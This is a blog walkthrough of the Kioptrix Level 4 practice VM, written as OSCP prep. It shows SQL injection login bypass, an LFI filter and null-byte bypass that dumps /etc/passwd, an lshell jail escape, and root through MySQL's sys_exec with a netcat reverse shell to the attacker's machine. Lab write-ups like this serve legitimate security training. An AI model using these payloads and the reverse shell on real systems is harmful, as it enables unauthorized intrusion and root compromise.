Analytify (Bug): cURL error 77: error setting certificate verify locations: CAfile: /etc/nginx/ssl/cacert.pem CApath: /etc/ssl/certs (see for Kioptrix Level 1.3 (Level 4) Walkthrough (OSCP Prep) -

Kioptrix Level 1.3 (Level 4) Walkthrough (OSCP Prep)

Kioptrix Level 1.3 (Level 4) Walkthrough (OSCP Prep)


In this write-up, we will walk through rooting Kioptrix Level 1.3 – also known as Kioptrix Level 4. This was a fun box that proved to be a decent challenge as I was not familiar with the privilege escalation vector.

Before We Begin

Kioptrix Level 4 comes with only a VMDK disk image. To run the virtual machine, you will have to create a new VM and import the disk image.


Host Discovery

First things first: we need to locate the IP address of our victim:

└─$ nmap -sP -n
Starting Nmap 7.91 ( ) at 2021-08-03 21:06 CDT
Nmap scan report for
Host is up (0.00052s latency).
Nmap scan report for
Host is up (0.000044s latency).
Nmap scan report for
Host is up (0.00024s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.49 seconds```

We find the Kioptrix machine running on

Scanning and Enumeration

We will perform our initial port scan with rustscan and save the subsequent nmap output for later reference.

└─$ rustscan -a10.0.10.103 -- -sV -oA scans/nmap-initial                                            
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
:           :
: :
Please contribute more quotes to our GitHub

[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( ) at 2021-08-03 21:11 CDT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 21:11
Scanning [2 ports]
Completed Ping Scan at 21:11, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:11
Completed Parallel DNS resolution of 1 host. at 21:11, 0.03s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 21:11
Scanning [4 ports]
Discovered open port 139/tcp on
Discovered open port 22/tcp on
Discovered open port 445/tcp on
Discovered open port 80/tcp on
Completed Connect Scan at 21:11, 0.00s elapsed (4 total ports)
Initiating Service scan at 21:11
Scanning 4 services on
Completed Service scan at 21:11, 11.01s elapsed (4 services on 1 host)
NSE: Script scanning
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 21:11
Completed NSE at 21:11, 0.01s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 21:11
Completed NSE at 21:11, 0.00s elapsed
Nmap scan report for
Host is up, received syn-ack (0.00060s latency).
Scanned at 2021-08-03 21:11:15 CDT for 11s

22/tcp  open  ssh         syn-ack OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp  open  http        syn-ack Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
139/tcp open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 12.31 seconds

There isn’t a whole lot going on here. We can begin our enumeration with the webserver. Launch a web browser and point it to the victim’s IP address.

Login portal

We’re greeted with a typical login portal. Trying some basic default credentials gets us nowhere. Perhaps this is vulnerable to SQL injection?

I’ll try the simple ' or 1=1 or ' for both the username and password.

SQL injection apparently works

It looks like the injection worked! However, we are getting another error.

Let’s see if there are any hidden files or folders on the webserver. I’ll use gobuster and try several basic wordlists. We get some interesting results with wfuzz‘s big.txt:

└─$ gobuster -u -w /usr/share/wordlists/wfuzz/general/big.txt 

Gobuster v2.0.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/wfuzz/general/big.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
2021/08/03 21:23:47 Starting gobuster
/cgi-bin/ (Status: 403)
/images (Status: 301)
/index (Status: 200)
/john (Status: 301)
/logout (Status: 302)
/member (Status: 302)
/robert (Status: 301)
2021/08/03 21:23:48 Finished

Note the john and robert results. These are directories on the server, but they also sound like potential usernames…

Let’s check out these directories. If we navigate to the /john directory in our browser, we find a john.php file:


The /robert directory is essentially the same. We can try to use these as potential usernames and use our SQLi to log in. Try username john and password ' or 1=1#.

Logged in as john

If we log out and try the same with the robert user, we get another password. So now we have potential credentials:


Robert’s password looks suspiciously like base 64, so we can try to decode it:

└─$ echo ADGAdsafdfwt4gadfga== | base64 -d
1vƟu-~base64: invalid input

So it seems it is not base 64 encoded after all.

Initial Foothold

Password re-use is a real problem. Any time we find passwords, we should try them anywhere a login is required. We saw from our port scan that SSH is running on the machine, so let’s use our new creds to try to log in.

└─$ ssh john@       
The authenticity of host ' (' can't be established.
RSA key fingerprint is SHA256:3fqlLtTAindnY7CGwxoXJ9M2rQF6nn35SFMTVv56lww.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (RSA) to the list of known hosts.
john@'s password: 
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you  don't screw up
Type '?' or 'help' to get the list of allowed commands

It actually worked! Unfortunately, we seem to be in a restricted shell environment.

john:~$ cd /
*** forbidden path -> "/"
*** You have 0 warning(s) left, before getting kicked out.
This incident has been reported.
john:~$ cat /etc/passwd
*** unknown command: cat

We could research how to break out of this restricted shell, but it would help to know exactly what shell is running.

Enumerating the Restricted Shell

Thinking back to our enumeration of the web server, we can guess that the application is including the /john/john.php file into the member.php file on successful login. This would be a good point to test for LFI. The username parameter seems like the place to check.

First, we can try to read the /etc/passwd file. Try the URL

Testing for LFI

It seems the application is stripping out the etc sub-string in the URL. What if we add a second etc? Try:

.php is being appended to the filename

So the app is appending .php to the filename. This makes sense if we consider the way the username is used in the original URL. Maybe we can use null byte injection to bypass this.

Try the URL It works! We’ve now dumped /etc/passwd:

list:x:38:38:Mailing List Manager:/var/list:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
mysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/false

From this, we’ve uncovered another username, but more importantly for now, we know the login shell for our john user: /bin/kshell. If this happens to be a script file, we can use our LFI to view the source.

#!/usr/bin/env python
# $Id: lshell,v 1.5 2009/07/28 14:31:26 ghantoos Exp $
#    Copyright (C) 2008-2009 Ignace Mouzannar (ghantoos) <>
#    This file is part of lshell
#    This program is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation, either version 3 of the License, or
#    (at your option) any later version.
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    GNU General Public License for more details.
#    You should have received a copy of the GNU General Public License
#    along with this program.  If not, see <>.

""" calls lshell function """

import lshell

if __name__ == '__main__':

So our jail cell has a name: lshell.

Breaking Out of Jail

Knowing the name of our shell, we can search for lshell break out, and we find a simple technique to break of lshell.

Back to our shell, we can try this technique:

john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)
john@Kioptrix4:~$ cat /etc/issue
Welcome to LigGoat Security Server

And we’re out!

Privilege Escalation

Now on to root.

A quick check of sudo -l says we have no sudo privileges.

john@Kioptrix4:~$ sudo -l
[sudo] password for john: 
Sorry, user john may not run sudo on Kioptrix4.

If only it were that easy. I spent an inordinate amount of time looking for privilege escalation vectors on this machine. There were some potential exploits for the kernel and the Samba server, but I could get nothing to work.

Finally, I went back to enumerate the web application from the source code, and it was a rather quick path to root.

Popping a Shell With MySQL

In the /var/www directory, we can find the checklogin.php file. Near the top of this file, we find some MySQL creds:

$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name

So the MySQL root user has no password? Let’s check it out:

john@Kioptrix4:/var/www$ mysql -u root
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 39
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.


After enumerating these databases for a moment, we find something interesting:

mysql> select * from mysql.func;
| name                  | ret | dl                  | type     |
| lib_mysqludf_sys_info |   0 | | function | 
| sys_exec              |   0 | | function | 
2 rows in set (0.00 sec)

A bit of searching finds that the sys_exec function is a very real privilege escalation vector. There is a sys_exec exploit available, but from a quick reading of the source, we can easily perform this manually.

First, let’s see what user mysql is running as. We can find this with ps:

john@Kioptrix4:~$ ps -ef | grep -i mysql                                                                       [0/53]
root      4686     1  0 18:20 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
root      4728  4686  0 18:20 ?        00:00:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root
root      4730  4686  0 18:20 ?        00:00:00 logger -p daemon.err -t mysqld_safe -i -t mysqld
john      4964  4946  0 18:21 pts/0    00:00:00 mysql -u root
john      4989  4970  0 18:21 pts/1    00:00:00 grep -i mysql

It appears to be running as root!

To double-check, and to test our sys_exec exploit, we can run id from within the MySQL client and redirect to the output to a file.

From MySQL:

mysql> select sys_exec('id > /tmp/id; chown john:john /tmp/id');
| sys_exec('id > /tmp/id; chown john:john /tmp/id') |
| NULL                                              | 
1 row in set (0.00 sec)

Now, from a standard shell, navigate to the /tmp directory.

john@Kioptrix4:/tmp$ ls -l
total 4
-rw-rw---- 1 john john 24 2021-08-03 18:25 id
john@Kioptrix4:/tmp$ cat id
uid=0(root) gid=0(root)

So we are definitely running as root! Let’s get a shell.

nc cannot be found on the remote machine, but we do find netcat:

john@Kioptrix4:~$ which nc
john@Kioptrix4:~$ which netcat

Start a listener on the attack machine:

└─$ nc -nlkvp 4444
Listening on 4444

Back in the MySQL shell:

mysql> select sys_exec('/bin/netcat kali 4444 -e /bin/bash');

And nothing happens…

After some probing, it became apparent this machine was likely using a firewall. We can search in /etc for any iptables configuration files:

john@Kioptrix4:~$ find /etc | grep -i iptables
find: /etc/chatscripts: Permission denied
find: /etc/ppp/peers: Permission denied

Can we read this file?

john@Kioptrix4:~$ cat /etc/iptables.rules 
# Generated by iptables-save v1.3.8 on Mon Feb  6 20:00:52 2012
:INPUT ACCEPT [6150:1120650]
:OUTPUT ACCEPT [969:93214]
-A INPUT -p tcp -m tcp --dport 4444 -j DROP 
-A INPUT -p tcp -m tcp --dport 1337:6000 -j DROP 
-A INPUT -p tcp -m tcp --dport 10000:31337 -j DROP 
-A INPUT -p tcp -m tcp --dport 8080 -j DROP 
-A OUTPUT -p tcp -m tcp --dport 4444 -j DROP 
-A OUTPUT -p tcp -m tcp --dport 1337:6000 -j DROP 
-A OUTPUT -p tcp -m tcp --dport 10000:31337 -j DROP 
-A OUTPUT -p tcp -m tcp --dport 8080 -j DROP 
-A OUTPUT -p tcp -m tcp --dport 80 -j DROP 
-A OUTPUT -p tcp -m tcp --dport 21 -j DROP 
# Completed on Mon Feb  6 20:00:52 2012

Aha! So we do have a firewall dropping outgoing packets specifically on port 4444. It is also blocking outgoing packets on port ranges 1337-6000 and 10000-31337. Let’s try to use a port number outside of these ranges. I’ll use 9000.

Relaunch the listener on your attacker using port 9000 instead of 4444. Then in the MySQL shell:

mysql> select sys_exec('/bin/netcat kali 9000 -e /bin/bash');
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id:    1
Current database: *** NONE ***

We get an error, but in our listener terminal, we see:

Connection received on 56234

We have a connection. Do we have a shell?

uid=0(root) gid=0(root)

And we’re in!

Capture the “Flag”

While there are no true flags on the Kioptrix machines, there is usually some sort of congratulatory text file to be found after grabbing getting root.

With our root shell, navigate to /root and check for any interesting files:

cd /root
ls -al
total 44
drwxr-xr-x  4 root       root       4096 Feb  6  2012 .
drwxr-xr-x 21 root       root       4096 Feb  6  2012 ..
-rw-------  1 root       root         59 Feb  6  2012 .bash_history
-rw-r--r--  1 root       root       2227 Oct 20  2007 .bashrc
-rw-r--r--  1 root       root          1 Feb  5  2012 .lhistory
-rw-------  1 root       root          1 Feb  5  2012 .mysql_history
-rw-------  1 root       root          5 Feb  6  2012 .nano_history
-rw-r--r--  1 root       root        141 Oct 20  2007 .profile
drwx------  2 root       root       4096 Feb  6  2012 .ssh
-rw-r--r--  1 root       root        625 Feb  6  2012 congrats.txt
drwxr-xr-x  8 loneferret loneferret 4096 Feb  4  2012 lshell-0.9.12

We see the congrats.txt file. Interestingly, it is world-readable, so we could have read it the whole time. Of course, that would defeat the purpose of this machine. Let’s cat it out:

cat congrats.txt
You've got root.

There is more then one way to get root on this system. Try and find them.
I've only tested two (2) methods, but it doesn't mean there aren't more.
As always there's an easy way, and a not so easy way to pop this box.
Look for other methods to get root privileges other than running an exploit.

It took a while to make this. For one it's not as easy as it may look, and
also work and family life are my priorities. Hobbies are low on my list.
Really hope you enjoyed this one.

If you haven't already, check out the other VMs available on:

Thanks for playing,

The file tells us there is more than one path to root. While I found multiple means of entry into the machine, I was unable to find another privilege escalation vector.

Wrapping Up

That’s the end of Kioptrix Level 4! Overall, this was a fun machine that provided a good challenge for having not been familiar with MySQL User Defined Functions.

There are other ways to gain the initial foothold, namely using the LFI we found in the web application. Try to use the LFI to gain access as a bonus challenge!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.